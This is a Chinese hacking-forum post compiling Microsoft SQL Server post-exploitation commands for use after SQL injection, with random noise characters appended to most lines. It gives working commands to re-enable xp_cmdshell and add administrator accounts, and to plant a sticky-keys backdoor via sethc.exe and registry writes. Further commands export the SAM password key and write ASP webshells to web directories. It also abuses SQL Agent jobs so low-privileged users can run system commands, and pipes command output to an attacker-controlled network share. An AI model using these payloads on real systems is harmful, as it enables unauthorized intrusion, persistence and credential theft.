找回密码
 立即注册
查看: 3057|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号4 X+ F  B, A: \' i/ g+ ]7 `
恢复方法:查询分离器连接后,8 \- t  e( ]7 j* p+ n) S1 v
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
+ f! ~" s$ n7 z' C, w1 |- V第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 0 M* i$ h. l& T( A
然后按F5键命令执行完毕
. k1 K3 N6 O: b/ Z7 k. x& R. H! \9 x% s
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)9 J/ R# a( |; P- d2 H8 v3 p
恢复方法:查询分离器连接后,5 L' e0 M, ^# J* `0 n- c
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"/ M* j7 R+ M+ D3 A+ R9 F5 t
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'4 w4 g) _9 t. Z4 p  i% T
然后按F5键命令执行完毕- Q5 E. p7 e( b1 }
% Z/ t0 {4 d1 p  v
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
2 U4 F. Q6 G% C恢复方法:查询分离器连接后,% `* M0 U) U/ w0 T/ ?, r
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
* V/ S1 P( F7 f/ C( N8 F第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
. M7 K) I8 B; a; d) L6 b" G% @然后按F5键命令执行完毕' t0 z2 E$ x% Z1 @( e1 S

& T; T, C* P5 @3 O+ a5 G1 G* ^4 终极方法.
- ~' E# R' S  H/ n如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:+ |6 g0 \' j% M9 Z* P8 e
查询分离器连接后,- T& W$ P8 B+ F
2000servser系统:
8 G# P7 a+ ~, D5 b( ]4 B8 E9 Gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'( S$ h  O2 S' o7 O
$ \: r+ I3 i  j- n6 {
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'" p  i) H$ x1 q, ?8 ^. R1 V1 x

; _- B2 R* I: j5 i4 y( axp或2003server系统:
6 V' R8 j' ^9 x
% @- M- u0 ?0 `2 t- ]declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
% b6 b' g. x4 O: }
! s% A) w8 T" M3 h# @declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'0 U9 Y% ^6 p% Q7 o) A
' R, a% I- ]0 y
( @0 `0 T; r  Q6 f
五个SHIFT
! r' x4 U' O1 |8 {& _2 ?- bdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
- S- _5 `7 i1 l1 ~5 h* L0 W& |# u7 h4 r! ?2 f
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
2 R% ]2 f$ i) ~0 h" w) G4 v) Q
! a" ^7 g! R$ O3 wxp_cmdshell执行命令另一种方法
0 j. Z6 S8 z$ |. C" N. z9 ?declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
% D% F6 h) z- D% ~' P9 y+ F
+ u2 q: w% _. @( W2 A1 d/ ^判断存储扩展是否存在# J5 p5 p% n, f- Y$ s- e! v
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'# I$ l/ J5 F: w" F0 |7 J
返回结果为1就OK/ j5 }6 J& Z5 @4 l
/ l, d0 S/ v$ U* j3 @9 }

. u& w+ n7 U9 J) @上传xplog70.dll恢复xp_cmdshell语句:1 B4 g/ @9 H+ G/ r) m: g
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
9 O9 t; }+ ?# p" b+ e
) s. L) \1 ]' z# _% s否则上传xplog7.0.dll
3 w3 t* X. ]  o8 X  Z) j9 rExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'+ e# _  A& c( X( x) C) v

' g7 y/ [# J) L3 M3 v2 g4 V. u; T' R
& N! N/ v, C; r5 E5 K
首先开启沙盘模式:
) ~' o* j3 k* jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1  C) V1 S! e, e$ Z4 P5 j( J' m
6 @; e+ g# c  ^* f8 D. V  p' t$ k
然后利用jet.oledb执行系统命令
0 J+ v: k, ~3 P; j# s+ s; j& D, Dselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
8 d; `4 u6 ~  R( M, X返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
7 X! L, s! i$ y# Z
5 O- E# o' k4 n6 @2 V9 r8 ~* _+ |  E  c6 f
8 U2 s4 [* Y, a& _6 M2 c6 m3 \0 Q
恢复过程sp_addextendedproc 如下: 7 X# P3 S9 o) i" p* p( v) W& ]
create procedure sp_addextendedproc --- 1996/08/30 20:13
/ F7 ?. A! E5 C+ h) R@functname nvarchar(517),/* (owner.)name of function to call */
. P2 u" m( G+ i; h( J$ Y* l- c@dllname varchar(255)/* name of DLL containing function */
. U  B- j7 D7 \* W. ~8 Cas + u) m& Z" j. x+ U% E
set implicit_transactions off ; ^- k9 D4 p( ]1 i; H- A: B4 d
if @@trancount > 0
; F. n: j% `9 Vbegin - Z; d: |+ y: ]( g$ _! h" m
raiserror(15002,-1,-1,'sp_addextendedproc')
, U4 _( a- W+ i, ]. ]3 ?( P: L) freturn (1) 1 m  |* R) [, P. G4 t9 r
end
! b6 ?- F& n- K8 w% Z/ fdbcc addextendedproc( @functname, @dllname) ; s! q6 y: q2 _7 ?4 T0 U
return (0) -- sp_addextendedproc $ z! o5 ?0 _/ a; M& R& |
GO ' h+ n' _. P' ?8 N8 n
( q( n: M- ?0 Q* V% O8 v/ }$ q
' P1 i. W/ z4 R" B

. w6 K$ X, v' b3 R2 L2 `导出管理员密码文件. k# [' s9 ~( M5 u; S; R
sa默认可以读sam键.应该。' d; y: ^6 k2 {2 v
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
4 ~! a: L* Q; }* D0 ?$ a7 Z4 [7 n8 pnet user administrator test
1 p" E% J) Z! r  M* d* n用administrator登陆.
. h; [9 j! o. Y1 L* u. _用完机器后
* q  s" }! s, E& m6 n# {3 breg import c:\test.reg8 y# D: t- w6 ]7 S' L" A
根本不用克隆.9 S/ f1 m: q$ L! j3 d) O
找到对应的sid.
: E& ?, E2 s0 d& ?  t# k9 m( H
5 I. L) D7 z- [( {
  h% z$ z6 x+ S+ w# L2 J
; R& g; ?" o) _恢复所有存储过程
/ z6 Q2 S; |4 p  `( g6 ause master 8 B' @: g. o3 R( S% v4 z
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
) s: G1 }. Z+ y, m8 ~, |& v2 O2 q( oexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' # N# `$ R$ y+ R& J% T5 Q0 v$ l
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'   s$ w& G6 w0 H6 z  S" S
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
5 T# q& G. Z* S0 Q: K  T, Mexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 8 |4 O# ?  g: I6 I
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 8 U6 A5 ?9 f9 G; R5 C- L) R
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
1 u$ u$ ?. g) Lexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' ' F5 g7 `1 H2 t# U: j6 y
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
0 O& a2 z0 t' j$ J" [2 o7 kexec sp_addextendedproc sp_OAMethod,'odsole70.dll' , _/ Z0 t9 e' [2 z
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
8 C5 {  Y3 I5 ?; Y! @( n: ^" Gexec sp_addextendedproc sp_OAStop,'odsole70.dll'
9 f- M3 C0 S; o8 H& i9 W. F: e( Nexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' # f' U4 [" D8 j, d5 [
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' ' s* q2 _0 |% g
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
) G- f7 w* c  qexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
3 {$ m" x# g2 N1 kexec sp_addextendedproc xp_regread,'xpstar.dll'
& O" X5 X4 V% w& w+ ]exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 0 {4 Y, n2 N% Y, o4 Q% D5 ?
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
9 _# o7 C; e( u/ D+ \6 O6 p2 _2 Gexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
% u" O* R& ]% f" {( z" p$ k% d; X2 c7 ]# H. B& v, S& T

3 [+ `! J! C8 R) {9 F建立读文件的存储过程8 A* r8 Y( d! I: i- ?4 y; a1 p
Create proc sp_readTextFile @filename sysname! \! ~' B, W. s5 Q* A
as
1 q: D3 k1 _$ ~5 V: e
& J- V6 y0 K* Z. r) Z( _  ]) z4 w+ @; [    begin
% M$ ?+ F$ E# T; E8 n3 Q# y" C    set nocount on
6 D. C9 P) w  k0 j# W    Create table #tempfile (line varchar(8000))8 T0 w( m) v, G7 z6 G) T
    exec ('bulk insert #tempfile from "' + @filename + '"')' Y0 N1 ~$ m" y! M
    select * from #tempfile& a6 {* M6 N7 J" [
    drop table #tempfile
* \& |) J* X# G0 l0 WEnd
7 ~( t" m3 i3 M& ?# w1 V% g3 `) p5 W& u6 l+ G& x8 C8 S( n
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
4 K: P# y0 a9 ^+ z查看登录用户; S" L' |8 l9 i" Y
Select * from sysxlogins3 C. @; a8 T' T0 [6 W1 C5 y9 O( ~! Z

, V. Z; ~: X! r" e0 z1 }3 n把文件内容读取到表中
) J: F# a- F  m1 b) Z4 ]% o1 OBULK INSERT tmp from "c:\test.txt"
/ F7 _# `4 o! H& jdElete from 表名 清理表里的内容
: @6 H4 E3 u  [. `3 Pcreate table b_test(fn nvarchar(4000));建一个表,字段为fn; y8 Y' Y* i$ K) [/ }; L# J/ _3 {/ t

0 X+ e7 F! ]4 P/ k; O  l: O/ Q9 o/ ]4 F, F0 E
加sa用户
) z% T" I' w$ n9 M4 bexec master.dbo.sp_addlogin user,pass;, E& d6 \+ W7 C; @. @! m1 P  W
exec master.dbo.sp_addsrvrolemember user,sysadmin
1 b! b+ l- w1 O  o. ^4 g
, |& X; L1 b" r  Y7 e; G
5 ~% u1 U  ]9 l3 t! k
  g6 i0 V/ o& Y/ M' W( v读文件代码
% [: e' n# Q/ A! Gdeclare @o int, @f int, @t int, @ret int
6 y; p) g7 @9 Ideclare @line varchar(8000)
" O6 Y- a# ~! m( p* e2 M( `exec sp_oacreate 'scripting.filesystemobject', @o out
, W# O$ h( ^  [& F6 vexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1, Z9 k6 k* [  N% l
exec @ret = sp_oamethod @f, 'readline', @line out5 A- V4 s; g* Z5 J2 c1 V* H) n" n
while( @ret = 0 )
- P% R& `4 k" J4 V2 t" d8 Ibegin
! j4 ?1 ?  i$ r( S1 \print @line% K0 E6 f) b( g- i
exec @ret = sp_oamethod @f, 'readline', @line out8 X; l: i3 v9 v4 M" Q
end* f, a. I4 [! C1 b, u' t7 h5 w

: Z# U/ ]# K5 h- I- m+ b% M) ]+ |" G/ I8 K  t4 k
写文件代码:, C" G- h' |+ q5 [# s1 S8 K! z# G) z9 E
declare @o int, @f int, @t int, @ret int; P$ Y3 [! r8 `; y6 F3 e  P
exec sp_oacreate 'scripting.filesystemobject', @o out
8 i1 }) F( r# @- v" Z( ]* O" kexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 10 g( S% M' E& Z) P* x( L# v" ^6 ^0 l0 S
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
1 U9 i3 m# F( I" u
; T$ m8 M- i) B" l" }5 |8 y% o, U0 C* `8 d7 B- w6 B$ `
添加lake2 shell
. \! T! G6 c* ]0 V9 a" Z3 N, P2 Ysp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'- G. k* ^# B3 Y+ ^, X* `0 |5 C2 b  f
sp_dropextendedproc xp_lake29 h  v& n1 P4 {( R/ P
EXEC xp_lake2 'net user'# t0 `% ~  I8 D6 Y( b6 s

' Q) T: N# u* s. w# J/ m0 W- s0 l& V* F
得到硬盘文件信息 , R; J! L0 \. \& f0 d' r( X
--参数说明:目录名,目录深度,是否显示文件 2 d& b+ B) c, j1 m- s
execute master..xp_dirtree 'c:' 7 m8 I$ N+ S; x/ N, {" [
execute master..xp_dirtree 'c:',1
$ y& X) z  g1 G. r( W* _execute master..xp_dirtree 'c:',1,1 7 X4 e. g- C9 q3 X" W7 `$ U/ W! [

8 V; l6 G& D6 z- \: L
! h+ n7 O0 }4 q2 U* t* k( i1 S读serv-u配置信息
( E3 r' O% c  K$ E. |5 Mexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
# h1 w* i8 x. y7 Oexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'5 F" e/ T( i$ M6 g) R7 Q; |: v
  N" Y+ G. T0 {$ i
通过xp_regwrite写SHIFT后门
* G* j* ^) K6 u- m  Gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
; `3 U) q+ b8 J& _0 f7 C9 r3 a7 Y$ q5 x5 @: W. l3 a/ ^7 ^; J+ I6 j
5 R- c) X5 c+ J8 v  f8 M5 i7 L

/ k( ^; A' g8 ^8 c找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
$ A6 y9 K: O9 ]0 a8 L- hexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
1 X1 z7 Y8 `% _( o4 a/ a9 k( y* m2 U% D# ~- ?( V0 M
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'7 U: g- y2 }; {0 V1 Q
8 w$ A6 h; k1 I2 m$ Y

. ]. d1 j: r8 _- ^4 ^# o1 E' o) a& X2 V0 P) G
sql server 2005下开启xp_cmdshell的办法. [% h+ a+ S& |) h/ K' a1 D

$ W% l+ X7 b- _4 ~EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;1 S1 o9 @. a! s3 u, ^: L
3 V. n3 ^! G( g8 ^
SQL2005开启'OPENROWSET'支持的方法:
7 f6 S- A; c5 G8 ?! c0 S
( p+ `8 Q2 f5 oexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;/ I; }0 O7 J0 U* V  r

% w7 ]: W6 _' D5 y2 Q4 e* t( qSQL2005开启'sp_oacreate'支持的方法:
+ @7 N- l3 j+ D$ E0 A  x. C6 o) a% b  n$ M
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
! k$ V& b: g0 d1 ]$ L' t8 U% h0 o! P. h8 r$ M0 z% S% k

& j& I& T+ j3 j. _7 `' m; g
' z9 f9 d) X9 b; }/ {6 \3 k% Y5 L/ G2 B2 H
5 F* g1 T" a6 ~4 a/ e& P
0 ?' {# H, T5 k+ E- Q! j2 o% h  \
8 ]. G3 Q' A: ~& {: U

) n) ^3 P" i$ l- h# G* [9 L# e" d7 r( k1 x# h" m# g  e
: Q& y1 N2 b$ B+ m% x+ C* T

6 e* q1 _$ a. t; E3 l6 g& N5 y; U, D, ~, S- W0 Z4 |) N3 _8 p, f
! O/ e+ L/ Q! I% M

- n( P3 z' g) S/ O3 d& a- T2 F0 L; r% S
' ], v& }7 h% l: U5 M7 w1 Z6 p
" m4 P, t9 z+ N7 p# F/ Q1 i
& H6 m  x8 ^" Q
, b4 G- [, ?" Z" b, {
3 [6 P# V3 a  ~( K0 U" k! W
, W; @& e* P; y, A) _* U

/ L/ h# d: ]- B2 d% G. k
- h4 }3 e' I4 d  J2 w0 M" I8 f9 U0 a2 K! @# v4 Q
以下方面不知道能不能成功暂且留下研究哈:2 A9 E7 q& A. {- h  K$ Y
4)( r/ x! J5 ~0 B( h! [
use msdb; --这儿不要是master哟' ^3 i7 g1 [% @7 O. O; E
exec sp_add_job @job_name= czy82 ;
+ _0 z7 ~0 t3 }! s+ x, w% M$ U$ cexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
: q$ ?  ^3 W$ y$ d) V0 T2 f7 X/ Jexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
- x% A4 i* e2 n$ m+ `exec sp_start_job @job_name= czy82 ;' `, y" r6 E( j% L
$ y2 j3 _0 N' F" p
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
( g7 n9 n* r  g7 ~执行tsql语句了.
) w/ a+ y" w0 H% ~/ ~  c# q% g: I; k8 ]对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名! g$ R& W5 X' w  ]* F1 f. ]
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
1 k# s# w! v; {, Q* N4 a2 Unet start SQLSERVERAGENT/ z% c4 A. x$ U3 d1 @' c7 U
& f0 t/ Q) z* i0 e% Y
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的$ T+ T; d# |, h
USE msdb: b( ?) c* l( ^8 _4 a
EXEC sp_add_job @job_name = GetSystemOnSQL ,
( k) J2 P! B! w0 h$ T@enabled = 1,
; R( R5 l% ]2 w* Z9 m' F@description = This will give a low privileged user access to9 l4 m1 \) u6 v6 ?
xp_cmdshell ,
" F/ ]9 Q: Z; Y% }) _% N7 \! e; S, ]@delete_level = 1/ Z8 A" b% b! L  d, h& f4 s
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
0 Q2 i$ G8 _! Z! [1 ~@step_name = Exec my sql ,  U) A' m3 O% R
@subsystem = TSQL ,
: g% |4 J- ^( }+ Q@command = exec master..xp_execresultset N select exec8 E& ~% m  s1 y6 s! K
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master / D! X7 W/ e/ Y' N* S
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
; k- t0 r6 M, V@server_name = 你的SQL的服务器名
: k) z' T+ J4 x4 q1 R+ qEXEC sp_start_job @job_name = GetSystemOnSQL 7 c" j) d( d' V* x9 A
+ Y+ f7 u) j1 z. U# \( w
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
; E/ d, w2 D" S* J3 T' C* M4 Z才让我们可以以public执行xp_cmdshell
" D2 H& ^0 m# V, n
' w! X8 `6 t$ F7 e' ^5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
9 ^' U: J& M/ G: A* p  r2 O2 i5 g在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968( F9 A% a6 \& s: m- k# D

. ]! n& v, K: O  b1 DUSE msdb
+ l9 B( u4 j* v+ u# F. F0 iEXEC sp_add_job @job_name = ArbitraryFilecreate ,, @4 w6 u* p" A; o/ P0 w
@enabled = 1,
; ^0 H$ a: Q+ Z@description = This will create a file called c:\sqlafc123.txt ,3 _2 q5 D; j0 U0 ~; m$ t
@delete_level = 1& R; l. L4 V* Z% u7 O& j4 R
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
! v, U2 F% K; Q: _1 o! H6 M@step_name = SQLAFC ,
! |0 \1 C# T& h0 G@subsystem = TSQL ,3 f# T6 P# H" G( l, `0 }( x
@command = select hello, this file was created by the SQL Agent. ,
/ h- m) ?. u  z5 b4 g$ Y  F+ \1 I@output_file_name = c:\sqlafc123.txt
7 v7 O8 l* n/ }6 tEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
: v" s7 r' n3 ?4 g" b% H@server_name = SERVER_NAME
  S4 d+ f6 Y) g( \EXEC sp_start_job @job_name = ArbitraryFilecreate
( P# W* @! p# W9 ]9 k. z& ^: v
) m9 @, E9 O2 u2 I9 ?0 R如果subsystem选的是:tsql,在生成的文件的头部有如下内容
7 f% c* f: o8 ^0 J9 `2 {# {- t/ f( K5 G& a/ l* y7 r/ S  o: E' w, B# w# v$ t
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19( {+ u9 E' _! j6 O7 [
----------------------------------------------' W( m8 U# f' L+ G
hello, this file was created by the SQL Agent.
& b6 Z; ]+ E8 N# a$ u3 t: B+ d8 y, D. v5 W# K0 M
(1 ?????)
  ], u3 D- v- Z1 ~; b8 r" U! j* U, F& J4 [5 S5 L
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员* N; Z3 c9 N7 T6 @& k
命令的vbs文件到启动目录!- t% v8 g" C2 n6 C8 E/ L
4 c& s( F8 u0 m
6)关于sp_makewebtask(可以写任意内容任意文件名的文件). B* z; x: Z2 k3 S! E1 F* ^
关于sp_MScopyscriptfile 看下面的例子/ W7 O; o5 j  \7 |3 L
declare @command varchar(100)
% v, r, H) J% w1 [9 Sdeclare @scripfile varchar(200)
2 @+ G7 |4 a5 C2 Qset concat_null_yields_null off
* d+ c7 ~& M  F# vselect @command= dir c:\ > "\\attackerip\share\dir.txt"
- y9 e; v0 [/ k8 P0 r# {select @scripfile= c:\autoexec.bat > nul" | @command | rd " 1 x& G8 w: c3 g
exec sp_MScopyscriptfile @scripfile ,
0 F5 Y. u4 D  O" v2 V. Q3 S9 a$ j. u% J  G, W  ~; v
这两个东东都还在测试试哟  ^8 F+ N& g# L
让MSSQL的public用户得到一个本机的web shell
# B+ K1 Y: e1 w( s0 I( `1 A% B
5 k' h$ {8 f3 V$ f7 s1 j8 wsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
  G' S1 y( a) I) t8 v--@query= select <img src=vbscript:msgbox(now())> 0 E: U* G/ n% F( ]3 J0 u
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> # u; f! t5 ^! M
@query= select ( ?  E  U7 b* V* y
<%On Error Resume Next % o) @: K" u* e" M0 \. E3 e+ L1 s
Set oscript = Server.createObject("wscript.SHELL") * H4 r, d: m: {: K
Set oscriptNet = Server.createObject("wscript.NETWORK")
3 S6 G: m. r6 b+ wSet oFileSys = Server.createObject("scripting.FileSystemObject")
1 S0 g! r7 }# `" J& pszCMD = Request.Form(".CMD") $ d% M  p3 d' T& p# l
If (szCMD <>"")Then
, l) C! j9 f9 Q, EszTempFile = "C:\" & oFileSys.GetTempName()
% V* ~9 |7 m+ U0 kCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
0 i9 H9 }# g0 MSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 1 m" M6 M- D8 @4 I
End If %> ) v5 p7 _1 g2 n/ f9 U; Y9 i
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 7 @5 ~. e5 ]/ }3 W
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
. f' `) v/ ^& _; i2 q</FORM><RE> ( d3 z  j+ H; [/ y! M% z
<% If (IsObject(oFile))Then
: R2 v9 t# n& }' {On Error Resume Next
+ a3 X" c% H1 A( P. HResponse.Write Server.HTMLEncode(oFile.ReadAll) , V) l# x( l0 L
oFile.Close ) W7 z! E) u4 c1 s7 s( ^
Call oFileSys.deleteFile(szTempFile, True)
. |0 C! o- W& q& a: B8 REnd If%>
' p5 X6 o9 f' z8 b</BODY></HTML>
* ~9 h9 r8 L# H; q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表